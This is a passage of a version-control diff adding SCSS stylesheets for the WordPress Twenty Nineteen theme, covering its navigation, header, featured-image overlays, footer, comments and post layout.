@@ -0,0 +1,66 @@
+/* Social menu */
+
+.social-navigation {
+	margin-top: calc(#{$size__spacing-unit} / 2 );
+	text-align: left;
+
+	ul.social-links-menu {
+		@include clearfix;
+
+		display: inline-block;
+		margin: 0;
+		padding: 0;
+
+		li {
+			display: inline-block;
+			vertical-align: bottom;
+			vertical-align: -webkit-baseline-middle;
+			list-style: none;
+
+			&:nth-child(n+2) {
+				margin-left: 0.1em;
+			}
+
+			a {
+				border-bottom: 1px solid transparent;
+				display: block;
+				color: $color__text-main;
+				margin-bottom: -1px;
+				transition: opacity $link_transition ease-in-out;
+
+				&:hover,
+				&:active {
+					color: $color__text-main;
+					opacity: 0.6;
+				}
+
+				&:focus {
+					color: $color__text-main;
+					opacity: 1;
+					border-bottom: 1px solid $color__text-main;
+				}
+
+				svg {
+					display: block;
+					width: 32px;
+					height: 32px;
+
+					// Prevent icons from jumping in Safari using hardware acceleration.
+					transform: translateZ(0);
+
+					&#ui-icon-link {
+						transform: rotate(-45deg);
+					}
+				}
+			}
+		}
+	}
+}
+
+.site-title + .social-navigation,
+.site-description + .social-navigation {
+
+	@include media(tablet) {
+		margin-top: calc(#{$size__spacing-unit} / 5 );
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_navigation.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_navigation.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_navigation.scss	(revision 56912)
@@ -0,0 +1,16 @@
+/*--------------------------------------------------------------
+## Links
+--------------------------------------------------------------*/
+@import "links";
+
+/*--------------------------------------------------------------
+## Menus
+--------------------------------------------------------------*/
+@import "menu-main-navigation";
+@import "menu-social-navigation";
+@import "menu-footer-navigation";
+
+/*--------------------------------------------------------------
+## Next / Previous
+--------------------------------------------------------------*/
+@import "next-previous";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss	(revision 56912)
@@ -0,0 +1,201 @@
+/* Next/Previous navigation */
+
+// Singular navigation
+.post-navigation {
+
+	margin: calc(3 * 1rem) 0;
+
+	@include media(tablet) {
+		margin: calc(3 * 1rem) $size__site-margins;
+		max-width: calc(6 * (100vw / 12));
+	}
+
+	@include media(desktop) {
+		margin: calc(3 * 1rem) 0;
+		max-width: 100%;
+	}
+
+	.nav-links {
+
+		margin: 0 $size__spacing-unit;
+		max-width: 100%;
+		display: flex;
+		flex-direction: column;
+
+		@include media(tablet) {
+			margin: 0;
+		}
+
+		@include media(desktop) {
+			flex-direction: row;
+			margin: 0 $size__site-margins;
+			max-width: $size__site-desktop-content;
+		}
+
+		a {
+			.meta-nav {
+				color: $color__text-light;
+				user-select: none;
+
+				&:before,
+				&:after {
+					display: none;
+					content: "—";
+					width: 2em;
+					color: $color__text-light;
+					height: 1em;
+				}
+			}
+
+			.post-title {
+				hyphens: auto;
+			}
+
+			&:hover {
+				color: $color__link-hover;
+			}
+		}
+
+		.nav-previous,
+		.nav-next {
+
+			@include media(desktop) {
+				min-width: calc(50% - 2 * #{$size__spacing-unit});
+			}
+		}
+
+		.nav-previous {
+			order: 2;
+
+			@include media(desktop) {
+				order: 1;
+			}
+
+			+ .nav-next {
+				margin-bottom: $size__spacing-unit;
+			}
+
+			.meta-nav {
+				&:before {
+					display: inline;
+				}
+			}
+		}
+
+		.nav-next {
+			order: 1;
+
+			@include media(desktop) {
+				order: 2;
+				padding-left: $size__spacing-unit;
+			}
+
+			.meta-nav {
+				&:after {
+					display: inline;
+				}
+			}
+		}
+	}
+}
+
+// Index/archive navigation
+.pagination {
+
+	.nav-links {
+
+		display: flex;
+		flex-wrap: wrap;
+		padding: 0 calc(.5 * #{$size__spacing-unit});
+
+
+		& > * {
+			padding: calc(.5 * #{$size__spacing-unit});
+
+			&.dots,
+			&.prev {
+				padding-left: 0;
+			}
+
+			&.dots,
+			&.next {
+				padding-right: 0;
+			}
+		}
+
+		a:focus {
+			text-decoration: underline;
+			outline-offset: -1px;
+
+			&.prev,
+			&.next {
+				text-decoration: none;
+
+				.nav-prev-text,
+				.nav-next-text {
+					text-decoration: underline;
+				}
+			}
+		}
+
+		.nav-next-text,
+		.nav-prev-text {
+			display: none;
+		}
+
+		@include media(tablet) {
+
+			margin-left: $size__site-margins;
+			padding: 0;
+
+			.prev,
+			.next {
+
+				& > * {
+					display: inline-block;
+					vertical-align: text-bottom;
+				}
+			}
+
+			& > * {
+				padding: $size__spacing-unit;
+			}
+		}
+	}
+}
+
+// Comments navigation
+.comment-navigation {
+
+	.nav-links {
+		display: flex;
+		flex-direction: row;
+	}
+
+	.nav-previous,
+	.nav-next {
+		min-width: 50%;
+		width: 100%;
+		font-family: $font__heading;
+		font-weight: bold;
+
+		.secondary-text {
+			display: none;
+
+			@include media(tablet) {
+				display: inline;
+			}
+		}
+
+		svg {
+			vertical-align: middle;
+			position: relative;
+			margin: 0 -0.35em;
+			top: -1px;
+		}
+	}
+
+	.nav-next {
+		text-align: right;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/_site.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/_site.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/_site.scss	(revision 56912)
@@ -0,0 +1,27 @@
+
+/*--------------------------------------------------------------
+## Header
+--------------------------------------------------------------*/
+@import "header/site-header";
+@import "header/site-featured-image";
+
+/*--------------------------------------------------------------
+## Posts and pages
+--------------------------------------------------------------*/
+@import "primary/posts-and-pages";
+
+/*--------------------------------------------------------------
+## Comments
+--------------------------------------------------------------*/
+@import "primary/comments";
+
+/*--------------------------------------------------------------
+## Archives
+--------------------------------------------------------------*/
+@import "primary/archives";
+
+/*--------------------------------------------------------------
+## Footer
+--------------------------------------------------------------*/
+@import "footer/site-footer";
+
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss	(revision 56912)
@@ -0,0 +1,43 @@
+/* Site footer */
+
+#colophon {
+
+	.widget-area,
+	.site-info {
+		margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit;
+
+		@include media(tablet) {
+			margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
+		}
+	}
+
+	.widget-column {
+		display: flex;
+		flex-wrap: wrap;
+		.widget {
+			width: 100%;
+			@include media(desktop) {
+				margin-right: calc(3 * #{$size__spacing-unit});
+				width: calc(50% - (3 * #{$size__spacing-unit}));
+			}
+		}
+	}
+
+	.site-info {
+		color: $color__text-light;
+
+		a {
+			color: inherit;
+
+			&:hover {
+				text-decoration: none;
+				color: $color__link;
+			}
+		}
+
+		.imprint,
+		.privacy-policy-link {
+			margin-right: $size__spacing-unit;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss	(revision 56912)
@@ -0,0 +1,301 @@
+// Featured image styles
+
+.site-header.featured-image {
+
+	/* Hide overflow for overflowing featured image */
+	overflow: hidden;
+
+	/* Need relative positioning to properly align layers. */
+	position: relative;
+
+	/* Add text shadow to text, to increase readability. */
+	text-shadow: 0 1px 2px rgba(0, 0, 0, 0.35);
+
+	/* Set white text color when featured image is set. */
+	.site-branding .site-title,
+	.site-branding .site-description,
+	.main-navigation a:after,
+	.main-navigation .main-menu > li.menu-item-has-children:after,
+	.main-navigation li,
+	.social-navigation li,
+	.entry-meta,
+	.entry-title {
+		color: $color__background-body;
+	}
+
+	.main-navigation a,
+	.main-navigation a + svg,
+	.social-navigation a,
+	.site-title a,
+	.site-featured-image a {
+		color: $color__background-body;
+		transition: opacity $link_transition ease-in-out;
+
+		&:hover,
+		&:active,
+		&:hover + svg,
+		&:active + svg {
+			color: $color__background-body;
+			opacity: 0.6;
+		}
+
+		&:focus,
+		&:focus + svg {
+			color: $color__background-body;
+		}
+	}
+
+	.main-navigation .sub-menu a {
+		opacity: inherit;
+	}
+
+	/* add focus state to social media icons */
+	.social-navigation a {
+		&:focus {
+			color: $color__background-body;
+			opacity: 1;
+			border-bottom: 1px solid $color__background-body;
+		}
+	}
+
+	.social-navigation svg,
+	.site-featured-image svg {
+		/* Use -webkit- only if supporting: Chrome < 54, iOS < 9.3, Android < 4.4.4 */
+		-webkit-filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35) );
+				filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35) );
+	}
+
+	/* Entry header */
+	.site-featured-image {
+
+		/* First layer: grayscale. */
+		.post-thumbnail img {
+			height: auto;
+			left: 50%;
+			max-width: 1000%;
+			min-height: 100%;
+			min-width: 100vw;
+			position: absolute;
+			top: 50%;
+			transform: translateX(-50%) translateY(-50%);
+			width: auto;
+			z-index: 1;
+
+			@supports ( object-fit: cover ) {
+				height: 100%;
+				left: 0;
+				object-fit: cover;
+				top: 0;
+				transform: none;
+				width: 100%;
+			}
+
+			/* When image filters are active, make it grayscale to colorize it blue. */
+			.image-filters-enabled & {
+				filter: grayscale(100%);
+			}
+		}
+
+		.entry-header {
+
+			margin-top: calc( 4 * #{$size__spacing-unit});
+			margin-bottom: 0;
+			margin-left: 0;
+			margin-right: 0;
+
+			@include media (tablet) {
+
+				margin-left: $size__site-margins;
+				margin-right: $size__site-margins;
+			}
+
+			.entry-title {
+
+				&:before {
+					background: $color__background-body;
+				}
+			}
+
+			/* Entry meta */
+
+			.entry-meta {
+
+				font-weight: 500;
+
+				> span {
+
+					margin-right: $size__spacing-unit;
+					display: inline-block;
+
+					&:last-child {
+						margin-right: 0;
+					}
+				}
+
+				a {
+
+					@include link-transition;
+					color: currentColor;
+
+					&:hover {
+						text-decoration: none;
+					}
+				}
+
+				.svg-icon {
+					position: relative;
+					display: inline-block;
+					vertical-align: middle;
+					margin-right: 0.5em;
+				}
+
+				.discussion-avatar-list {
+					display: none;
+				}
+			}
+
+			&.has-discussion {
+
+				@include media (tablet) {
+
+					.entry-meta {
+						display: flex;
+						position: relative;
+					}
+
+					.entry-title {
+						padding-right: calc(1 * (100vw / 12) + #{$size__spacing-unit});
+					}
+
+					.entry-meta .comment-count {
+						position: absolute;
+						right: 0;
+					}
+
+					.entry-meta .discussion-avatar-list {
+						display: block;
+						position: absolute;
+						bottom: 100%;
+					}
+				}
+			}
+		}
+	}
+
+	/* Custom Logo Link */
+
+	.custom-logo-link {
+
+		background: $color__background-body;
+		box-shadow: 0 0 0 0 rgba($color__background-body, 0);
+
+		&:hover,
+		&:active,
+		&:focus {
+			box-shadow: 0 0 0 2px rgba($color__background-body, 1);
+		}
+	}
+
+	/* Make sure important elements are above pseudo elements used for effects. */
+	.site-branding {
+		position: relative;
+		z-index: 10;
+	}
+
+	.site-featured-image .entry-header {
+		position: relative;
+		z-index: 9;
+	}
+
+	/* Set up image filter layer positioning */
+	.site-branding-container:after,
+	.site-featured-image:before,
+	.site-featured-image:after,
+	&:after {
+		display: block;
+		position: absolute;
+		top: 0; left: 0;
+		content: "\020";
+		width: 100%;
+		height: 100%;
+	}
+
+	/* Background & Effects */
+	/* Shared background settings between pseudo elements. */
+	background-position: center;
+	background-repeat: no-repeat;
+	background-size: cover;
+
+	/* The intensity of each blend mode is controlled via layer opacity. */
+
+	/* Second layer: screen. */
+	.image-filters-enabled & .site-featured-image:before {
+		background: $color__link;
+		mix-blend-mode: screen;
+		opacity: 0.1;
+	}
+
+	/* Third layer: multiply. */
+	/* When image filters are inactive, a black overlay is added. */
+	.site-featured-image:after {
+		background: #000;
+		mix-blend-mode: multiply;
+		opacity: .7;
+
+	  	/* When image filters are active, a blue overlay is added. */
+		.image-filters-enabled & {
+			background: $color__link;
+			opacity: .8;
+			z-index: 3;
+
+			/* Browsers supporting mix-blend-mode don't need opacity < 1 */
+			@supports (mix-blend-mode: multiply) {
+				opacity: 1;
+			}
+		}
+	}
+
+	/* Fourth layer: overlay. */
+  	.image-filters-enabled & .site-branding-container:after {
+		background: rgba(0, 0, 0, 0.35);
+		mix-blend-mode: overlay;
+		opacity: 0.5;
+		z-index: 4;
+
+		/* Browsers supporting mix-blend-mode can have a light overlay */
+		@supports (mix-blend-mode: overlay) {
+			background: rgba($color__background-body, 0.35);
+		}
+	}
+
+	/* Fifth layer: readability overlay */
+	&:after {
+		background: #000;
+		/**
+		 * Add a transition to the readability overlay, to add a subtle
+		 * but smooth effect when resizing the screen.
+		 */
+		transition: opacity 1200ms ease-in-out;
+		opacity: 0.7;
+		z-index: 5;
+
+		/* When image filters are active, a blue overlay is added. */
+		.image-filters-enabled & {
+			background: mix($color__link, black, 12%);
+			opacity: 0.38;
+
+			@include media(tablet) {
+				opacity: 0.18;
+			}
+		}
+	}
+
+
+	::-moz-selection {
+		background: rgba($color__background-body, 0.17);
+	}
+
+	::selection {
+		background: rgba($color__background-body, 0.17);
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/header/_site-header.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/header/_site-header.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/header/_site-header.scss	(revision 56912)
@@ -0,0 +1,134 @@
+// Site header
+
+.site-header {
+	padding: 1em;
+
+	&.featured-image {
+		display: flex;
+		flex-direction: column;
+		justify-content: space-between;
+		min-height: 90vh;
+
+		.site-branding-container {
+			margin-bottom: auto;
+		}
+	}
+
+	@include media(tablet) {
+		margin: 0;
+		padding: 3rem 0;
+
+		&.featured-image {
+			min-height: 100vh;
+			margin-bottom: 3rem;
+		}
+	}
+}
+
+// Site branding
+
+.site-branding {
+
+	color: $color__text-light;
+	position: relative;
+
+	@include media(tablet) {
+		margin: 0 $size__site-margins;
+	}
+}
+
+// Site logo
+
+.site-logo {
+
+	position: relative;
+	z-index: 999;
+	margin-bottom: calc(.66 * #{$size__spacing-unit});
+
+	@include media(tablet) {
+		margin-bottom: 0;
+		position: absolute;
+		right: calc(100% + (1.25 * #{$size__spacing-unit}));
+		top: 4px; // Accounts for box-shadow widths
+		z-index: 999;
+	}
+
+	.custom-logo-link {
+		border-radius: 100%;
+		box-sizing: content-box;
+		box-shadow: 0 0 0 0 rgba(0, 0, 0, 0);
+		display: block;
+		width: 50px;
+		height: 50px;
+		overflow: hidden;
+		transition: box-shadow $background_transition ease-in-out;
+
+		.custom-logo {
+			min-height: inherit;
+		}
+
+		&:hover,
+		&:active,
+		&:focus {
+			box-shadow: 0 0 0 2px rgba(0, 0, 0, 1);
+		}
+
+		@include media(tablet) {
+			width: 64px;
+			height: 64px;
+		}
+	}
+}
+
+// Site title
+
+.site-title {
+	margin: auto;
+	display: inline;
+	color: $color__text-main;
+
+	a {
+		color: $color__text-main;
+
+		&:link,
+		&:visited {
+			color: $color__text-main;
+		}
+
+		&:hover {
+			color: $color__text-hover;
+		}
+	}
+
+	.featured-image & {
+		margin: 0;
+
+		@include media(tablet) {
+			display: inline-block;
+		}
+	}
+
+	/* When there is no description set, make sure navigation appears below title. */
+	+ .main-navigation {
+		display: block;
+	}
+
+	@include media(tablet) {
+		display: inline;
+	}
+
+	&:not(:empty) + .site-description:not(:empty):before {
+		content: "\2014";
+		margin: 0 .2em;
+	}
+}
+
+// Site description
+
+.site-description {
+
+	display: inline;
+	color: $color__text-light;
+	font-weight: normal;
+	margin: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_archives.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_archives.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_archives.scss	(revision 56912)
@@ -0,0 +1,70 @@
+.archive .page-header,
+.search .page-header,
+.error404 .page-header {
+
+	margin: $size__spacing-unit $size__spacing-unit calc(3 * #{$size__spacing-unit});
+
+	@include media(tablet) {
+		margin: 0 $size__site-margins $size__site-margins;
+	}
+
+	.page-title {
+
+		color: $color__text-light;
+		display: inline;
+		letter-spacing: normal;
+
+		&:before {
+			display: none;
+		}
+	}
+
+	.search-term,
+	.page-description {
+		display: inherit;
+		clear: both;
+
+		&:after {
+			content: ".";
+			font-weight: bold;
+			color: $color__text-light;
+		}
+	}
+}
+
+.archive .page-header .page-description {
+	display: block;
+	color: $color__text-main;
+	font-size: 1em;
+}
+
+.hfeed .entry .entry-header {
+
+	@include media(tablet) {
+		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins calc(#{ $size__spacing-unit } / 2);
+	}
+}
+
+/* 404 & Not found */
+
+.error-404.not-found,
+.no-results.not-found {
+
+	.page-content {
+
+		margin: calc(3 * #{$size__spacing-unit}) #{$size__spacing-unit};
+
+		@include media(tablet) {
+			margin: calc(3 * #{$size__spacing-unit}) $size__site-margins calc(#{ $size__spacing-unit } / 2);
+		}
+	}
+
+	.search-submit {
+		vertical-align: middle;
+		margin: $size__spacing-unit 0;
+	}
+
+	.search-field {
+		width: 100%;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_comments.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_comments.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_comments.scss	(revision 56912)
@@ -0,0 +1,400 @@
+.comment-content a {
+	word-wrap: break-word;
+}
+
+.bypostauthor {
+	display: block;
+}
+
+.comments-area {
+	margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit;
+	@include postContentMaxWidth();
+
+	@include media(tablet) {
+		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
+	}
+
+	& > * {
+		margin-top: calc(2 * #{$size__spacing-unit});
+		margin-bottom: calc(2 * #{$size__spacing-unit});
+
+		@include media(tablet) {
+			margin-top: calc(3 * #{$size__spacing-unit});
+			margin-bottom: calc(3 * #{$size__spacing-unit});
+		}
+	}
+
+	/* Add extra margin when the comments section is located immediately after the
+	 * post itself (this happens on pages).
+	 */
+	.entry + & {
+		margin-top: calc(3 * #{$size__spacing-unit});
+	}
+
+	.comments-title-wrap {
+
+		@include media(tablet) {
+			align-items: baseline;
+			display: flex;
+			justify-content: space-between;
+		}
+
+		.comments-title {
+			@include post-section-dash;
+			margin: 0;
+
+			@include media(tablet) {
+				flex: 1 0 calc(3 * (100vw / 12));
+			}
+		}
+
+		.discussion-meta {
+			@include media(tablet) {
+				flex: 0 0 calc(2 * (100vw / 12));
+				margin-left: #{$size__spacing-unit};
+			}
+		}
+	}
+}
+
+#comment {
+	max-width: 100%;
+	box-sizing: border-box;
+}
+
+#respond {
+	position: relative;
+
+	.comment-user-avatar {
+		margin: $size__spacing-unit 0 -#{$size__spacing-unit};
+	}
+
+	.comment .comment-form {
+		padding-left: 0;
+	}
+
+	> small {
+		display: block;
+		font-size: $font__size_base;
+		position: absolute;
+		left: calc(#{$size__spacing-unit} + 100%);
+		top: calc(-3.5 * #{$size__spacing-unit});
+		width: calc(100vw / 12 );
+	}
+}
+
+#comments {
+
+	> .comments-title:last-child {
+		display: none;
+	}
+}
+
+.comment-form-flex {
+	display: flex;
+	flex-direction: column;
+
+	.comments-title {
+		display: none;
+		margin: 0;
+		order: 1;
+	}
+
+	#respond {
+		order: 2;
+
+		+ .comments-title {
+			display: block;
+		}
+	}
+}
+
+.comment-list {
+	list-style: none;
+	padding: 0;
+
+	.children {
+		margin: 0;
+		padding: 0 0 0 $size__spacing-unit;
+	}
+
+	> .comment:first-child {
+		margin-top: 0;
+	}
+
+	.pingback,
+	.trackback {
+
+		.comment-body {
+			color: $color__text-light;
+			font-family: $font__heading;
+			font-size: $font__size-xs;
+			font-weight: 500;
+			margin-top: $size__spacing-unit;
+			margin-bottom: $size__spacing-unit;
+
+			a:not(.comment-edit-link) {
+				font-weight: bold;
+				font-size: $font__size-base / (1 * $font__size-ratio);
+				line-height: 1.5;
+				padding-right: #{0.5 * $size__spacing-unit};
+				display: block;
+			}
+
+			.comment-edit-link {
+				color: $color__text-light;
+				font-family: $font__heading;
+				font-weight: 500;
+			}
+		}
+	}
+}
+
+.comment-reply {
+
+	#respond + & {
+		display: none;
+	}
+
+	.comment-reply-link {
+		display: inline-block;
+	}
+}
+
+.comment {
+	list-style: none;
+	position: relative;
+
+	@include media(tablet) {
+		padding-left: calc(.5 * (#{$size__spacing-unit} + calc(100vw / 12 )));
+
+		&.depth-1,
+		.children {
+			padding-left: 0;
+		}
+
+		&.depth-1 {
+			margin-left: calc(3.25 * #{$size__spacing-unit});
+		}
+	}
+
+	.comment-body {
+		margin: calc(2 * #{$size__spacing-unit}) 0 0;
+	}
+
+
+	.comment-meta {
+		position: relative;
+	}
+
+	.comment-author {
+
+		.avatar {
+			float: left;
+			margin-right: $size__spacing-unit;
+			position: relative;
+
+			@include media(tablet) {
+				float: inherit;
+				margin-right: inherit;
+				position: absolute;
+				top: 0;
+				right: calc(100% + #{$size__spacing-unit});
+			}
+		}
+
+		.fn {
+			position: relative;
+			display: block;
+
+			a {
+				color: inherit;
+
+				&:hover {
+					color: $color__link-hover;
+				}
+			}
+		}
+
+		.post-author-badge {
+			border-radius: 100%;
+			display: block;
+			height: 18px;
+			position: absolute;
+			background: lighten( $color__link, 8% );
+			right: calc(100% - #{$size__spacing-unit * 2.5});
+			top: -3px;
+			width: 18px;
+
+			@include media(tablet) {
+				right: calc(100% + #{$size__spacing-unit * .75});
+			}
+
+			svg {
+				width: inherit;
+				height: inherit;
+				display: block;
+				fill: white;
+				transform: scale(0.875);
+			}
+		}
+	}
+
+	.comment-metadata {
+
+		> a,
+		.comment-edit-link {
+			display: inline;
+			font-weight: 500;
+			color: $color__text-light;
+			vertical-align: baseline;
+
+			time {
+				vertical-align: baseline;
+			}
+
+			&:hover {
+				color: $color__link-hover;
+				text-decoration: none;
+			}
+		}
+
+		> * {
+			display: inline-block;
+		}
+
+		.edit-link-sep {
+			color: $color__text-light;
+			margin: 0 0.2em;
+			vertical-align: baseline;
+		}
+
+		.edit-link {
+			color: $color__text-light;
+
+			svg {
+				transform: scale(0.8);
+				vertical-align: baseline;
+				margin-right: 0.1em;
+			}
+		}
+
+		.comment-edit-link {
+			position: relative;
+			padding-left: $size__spacing-unit;
+			margin-left: -#{$size__spacing-unit};
+			z-index: 1;
+
+			&:hover {
+				color: $color__link;
+			}
+		}
+	}
+
+	.comment-content {
+
+		margin: $size__spacing-unit 0;
+
+		@include media(desktop) {
+			padding-right: $size__spacing-unit;
+		}
+
+		> *:first-child {
+			margin-top: 0;
+		}
+
+		> *:last-child {
+			margin-bottom: 0;
+		}
+
+		blockquote {
+			margin-left: 0;
+		}
+
+		a {
+			text-decoration: underline;
+
+			&:hover {
+				text-decoration: none;
+			}
+		}
+	}
+}
+
+.comment-reply-link,
+#cancel-comment-reply-link {
+	font-weight: 500;
+
+	&:hover {
+		color: $color__link-hover;
+	}
+}
+
+.discussion-avatar-list {
+	@include clearfix;
+
+	margin: 0;
+	padding: 0;
+
+	li {
+		position: relative;
+		list-style: none;
+		margin: 0 -8px 0 0;
+		padding: 0;
+		float: left;
+	}
+
+	.comment-user-avatar {
+
+		img {
+			height: calc(1.5 * #{$size__spacing-unit});
+			width: calc(1.5 * #{$size__spacing-unit});
+		}
+	}
+}
+
+.discussion-meta {
+
+	.discussion-meta-info {
+		margin: 0;
+
+		.svg-icon {
+			vertical-align: middle;
+			fill: currentColor;
+			transform: scale( 0.6 ) scaleX(-1) translateY(-0.1em);
+			margin-left: -#{.25 * $size__spacing-unit}; // Align icon with avatars above.
+		}
+	}
+
+}
+
+.comment-form {
+
+	.comment-notes,
+	label {
+		font-family: $font__heading;
+		font-size: $font__size-xs;
+		color: $color__text-light;
+	}
+
+	.comment-form-author,
+	.comment-form-email {
+		@include media(tablet) {
+			width: calc(50% - #{$size__spacing-unit / 2});
+			float: left;
+		}
+	}
+
+	.comment-form-email {
+		@include media(tablet) {
+			margin-left: $size__spacing-unit;
+		}
+	}
+
+	input[name="author"],
+	input[name="email"],
+	input[name="url"] {
+		display: block;
+		width: 100%;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss	(revision 56912)
@@ -0,0 +1,304 @@
+.sticky {
+	display: block;
+}
+
+.sticky-post {
+	background: $color__background-button;
+	color: #fff;
+	display: inline-block;
+	font-weight: bold;
+	line-height: 1;
+	padding: .25rem;
+	position: absolute;
+	text-transform: uppercase;
+	top: -$size__spacing-unit;
+	z-index: 1;
+}
+
+.updated:not(.published) {
+	display: none;
+}
+
+.page-links {
+	clear: both;
+	margin: 0 0 calc(1.5 * #{$size__spacing-unit});
+}
+
+.entry {
+
+	margin-top: calc(6 * #{$size__spacing-unit});
+
+	&:first-of-type {
+		margin-top: 0;
+	}
+
+	.entry-header {
+
+		margin: calc(3 * #{ $size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
+		position: relative;
+
+		@include media(tablet) {
+			margin: calc(3 * #{ $size__spacing-unit}) $size__site-margins $size__spacing-unit;
+		}
+	}
+
+	.entry-title {
+
+		@include post-section-dash;
+		margin: 0;
+
+		a {
+			color: inherit;
+
+			&:hover {
+				color: $color__text-hover;
+			}
+		}
+	}
+
+	.entry-meta,
+	.entry-footer {
+
+		color: $color__text-light;
+		font-weight: 500;
+
+		> span {
+
+			margin-right: $size__spacing-unit;
+			display: inline-block;
+
+			&:last-child {
+				margin-right: 0;
+			}
+		}
+
+		a {
+
+			@include link-transition;
+			color: currentColor;
+
+			&:hover {
+				text-decoration: none;
+				color: $color__link;
+			}
+		}
+
+		.svg-icon {
+			position: relative;
+			display: inline-block;
+			vertical-align: middle;
+			margin-right: 0.5em;
+		}
+	}
+
+	.entry-meta {
+		margin: $size__spacing-unit 0;
+	}
+
+	.entry-footer {
+
+		margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
+
+		@include media(tablet) {
+			margin: $size__spacing-unit $size__site-margins calc(3 * #{$size__spacing-unit});
+			max-width: $size__site-tablet-content;
+		}
+
+		@include media(tablet) {
+			max-width: $size__site-desktop-content;
+		}
+	}
+
+	.post-thumbnail {
+
+		margin: $size__spacing-unit;
+
+		@include media(tablet) {
+			margin: $size__spacing-unit $size__site-margins;
+		}
+
+		&:focus {
+			outline: none;
+		}
+
+		.post-thumbnail-inner {
+			display: block;
+
+			img {
+				position: relative;
+				display: block;
+				width: 100%;
+			}
+		}
+	}
+
+	.image-filters-enabled & {
+
+		.post-thumbnail {
+			position: relative;
+			display: block;
+
+			.post-thumbnail-inner {
+				filter: grayscale(100%);
+
+				&:after {
+					background: rgba(0, 0, 0, 0.35);
+					content: "";
+					display: block;
+					height: 100%;
+					opacity: .5;
+					pointer-events: none;
+					position: absolute;
+					top: 0;
+					width: 100%;
+					z-index: 4;
+
+					@supports (mix-blend-mode: multiply) {
+						display: none;
+					}
+				}
+			}
+
+			&:before,
+			&:after, {
+				position: absolute;
+				display: block;
+				width: 100%;
+				height: 100%;
+				top: 0; left: 0;
+				content: "\020";
+				pointer-events: none;
+			}
+
+			@include filter-duotone;
+
+		}
+	}
+
+	.entry-content,
+	.entry-summary {
+		max-width: calc(100% - (2 * #{ $size__spacing-unit }));
+		margin: 0 $size__spacing-unit;
+
+		@include media(tablet) {
+			max-width: 80%;
+			margin: 0 10%;
+			padding: 0 60px;
+		}
+	}
+
+	.entry-content {
+
+		p {
+			word-wrap: break-word;
+		}
+
+		.more-link {
+			@include link-transition;
+			display: inline;
+			color: inherit;
+
+			&:after {
+				content: "\02192";
+				display: inline-block;
+				margin-left: 0.5em;
+			}
+
+			&:hover {
+				color: $color__link;
+				text-decoration: none;
+			}
+		}
+
+		a {
+			text-decoration: underline;
+
+			&.button,
+			&:hover {
+				text-decoration: none;
+			}
+
+			&.button {
+				display: inline-block;
+			}
+
+			&.button:hover {
+				background: $color__background-button-hover;
+				color: $color__background-body;
+				cursor: pointer;
+			}
+		}
+
+		// Overwrite iframe embeds that have inline styles.
+		> iframe[style] {
+
+			margin: 32px 0 !important;
+			max-width: 100% !important;
+
+			@include media(tablet) {
+				max-width: $size__site-tablet-content !important;
+			}
+
+			@include media(desktop) {
+				max-width: $size__site-desktop-content !important;
+			}
+		}
+
+		// Page links
+		.page-links a {
+			margin: calc(0.5 * #{$size__spacing-unit});
+			text-decoration: none;
+		}
+
+		// Classic editor audio embeds.
+		.wp-audio-shortcode {
+			max-width: calc(100vw - (2 * #{ $size__spacing-unit }));
+
+			@include media(tablet) {
+				max-width: $size__site-tablet-content;
+			}
+
+			@include media(desktop) {
+				max-width: $size__site-desktop-content;
+			}
+		}
+	}
+}
+
+/* Author description */
+
+.author-bio {
+	margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
+
+	@include postContentMaxWidth();
+
+	@include media(tablet) {
+		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
+	}
+
